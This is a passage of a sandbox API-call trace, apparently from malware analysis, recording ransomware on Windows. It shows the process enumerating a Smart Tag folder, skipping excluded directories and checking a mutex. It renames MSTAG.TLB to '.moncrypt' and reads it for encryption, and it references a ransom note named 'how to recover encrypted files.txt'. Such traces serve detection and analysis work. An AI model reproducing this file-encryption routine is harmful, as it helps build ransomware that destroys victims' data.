information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0049.852] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.852] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0049.852] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.852] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0049.852] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.852] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0049.853] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0049.853] GlobalLock (hMem=0x440004) returned 0x550170 [0049.853] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.853] GlobalUnlock (hMem=0x440004) returned 0 [0049.853] GlobalLock (hMem=0x440004) returned 0x550170 [0049.853] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.853] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.853] GlobalUnlock (hMem=0x440004) returned 0 [0049.853] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.853] GlobalUnlock (hMem=0x44000c) returned 0 [0049.853] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0049.854] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.854] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0049.854] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0049.854] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0049.854] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.854] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.854] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.854] GlobalUnlock (hMem=0x44000c) returned 0 [0049.854] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.854] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.854] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.854] GlobalUnlock (hMem=0x44000c) returned 0 [0049.854] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.854] GlobalUnlock (hMem=0x440004) returned 0 [0049.854] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.854] CharLowerBuffW (in: lpsz="FBIBLIO.DLL", cchLength=0xb | out: lpsz="fbiblio.dll") returned 0xb [0049.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLLn", lpUsedDefaultChar=0x0) returned 68 [0049.855] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0049.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Smart Tag\\FBIBLIO.DLLn", lpUsedDefaultChar=0x0) returned 4 [0049.855] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0049.855] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.855] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.855] GlobalLock (hMem=0x440004) returned 0x550170 [0049.855] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.855] GlobalUnlock (hMem=0x440004) returned 0 [0049.855] GlobalLock (hMem=0x440004) returned 0x550170 [0049.855] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.855] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.855] GlobalUnlock (hMem=0x440004) returned 0 [0049.855] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.855] GlobalUnlock (hMem=0x44000c) returned 0 [0049.855] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.856] CharLowerBuffW (in: lpsz="FDATE.DLL", cchLength=0x9 | out: lpsz="fdate.dll") returned 0x9 [0049.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0049.856] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.856] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.856] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.856] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.856] GlobalUnlock (hMem=0x44000c) returned 0 [0049.856] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.856] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.856] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.856] GlobalUnlock (hMem=0x44000c) returned 0 [0049.856] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.856] GlobalUnlock (hMem=0x440004) returned 0 [0049.856] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.856] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.856] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.856] GlobalLock (hMem=0x440004) returned 0x550170 [0049.856] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.857] GlobalUnlock (hMem=0x440004) returned 0 [0049.857] GlobalLock (hMem=0x440004) returned 0x550170 [0049.857] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.857] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.857] GlobalUnlock (hMem=0x440004) returned 0 [0049.857] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.857] GlobalUnlock (hMem=0x44000c) returned 0 [0049.857] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.857] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.857] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.857] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.857] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.857] GlobalUnlock (hMem=0x44000c) returned 0 [0049.857] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.857] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.857] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.857] GlobalUnlock (hMem=0x44000c) returned 0 [0049.857] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.857] GlobalUnlock (hMem=0x440004) returned 0 [0049.857] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.857] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.857] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.857] GlobalLock (hMem=0x440004) returned 0x550170 [0049.857] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.857] GlobalUnlock (hMem=0x440004) returned 0 [0049.857] GlobalLock (hMem=0x440004) returned 0x550170 [0049.857] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.857] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.857] GlobalUnlock (hMem=0x440004) returned 0 [0049.857] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.857] GlobalUnlock (hMem=0x44000c) returned 0 [0049.858] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.858] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.858] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.858] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.858] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.858] GlobalUnlock (hMem=0x44000c) returned 0 [0049.858] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.858] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.858] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.858] GlobalUnlock (hMem=0x44000c) returned 0 [0049.858] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.858] GlobalUnlock (hMem=0x440004) returned 0 [0049.858] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.858] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.858] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.858] GlobalLock (hMem=0x440004) returned 0x550170 [0049.858] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.858] GlobalUnlock (hMem=0x440004) returned 0 [0049.858] GlobalLock (hMem=0x440004) returned 0x550170 [0049.858] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.858] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.858] GlobalUnlock (hMem=0x440004) returned 0 [0049.858] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.858] GlobalUnlock (hMem=0x44000c) returned 0 [0049.858] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.858] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.858] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.858] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.858] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.858] GlobalUnlock (hMem=0x44000c) returned 0 [0049.858] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.859] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.859] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.859] GlobalUnlock (hMem=0x44000c) returned 0 [0049.859] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.859] GlobalUnlock (hMem=0x440004) returned 0 [0049.859] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.859] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.859] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.859] GlobalLock (hMem=0x440004) returned 0x550170 [0049.859] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.859] GlobalUnlock (hMem=0x440004) returned 0 [0049.859] GlobalLock (hMem=0x440004) returned 0x550170 [0049.859] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.859] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.859] GlobalUnlock (hMem=0x440004) returned 0 [0049.859] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.859] GlobalUnlock (hMem=0x44000c) returned 0 [0049.859] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.859] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.859] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.859] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.859] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.859] GlobalUnlock (hMem=0x44000c) returned 0 [0049.859] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.859] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.859] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.859] GlobalUnlock (hMem=0x44000c) returned 0 [0049.859] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.859] GlobalUnlock (hMem=0x440004) returned 0 [0049.859] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.860] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0049.861] CloseHandle (hObject=0x188) returned 1 [0049.861] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\я")) returned 1 [0049.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 0x54e200 [0049.862] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0049.862] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0049.862] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", dwFileAttributes=0x20) returned 1 [0049.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0049.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.moncrypt")) returned 1 [0049.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.864] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.864] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x3574 [0049.864] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.864] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x3574, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x3574, lpOverlapped=0x0) returned 1 [0049.870] 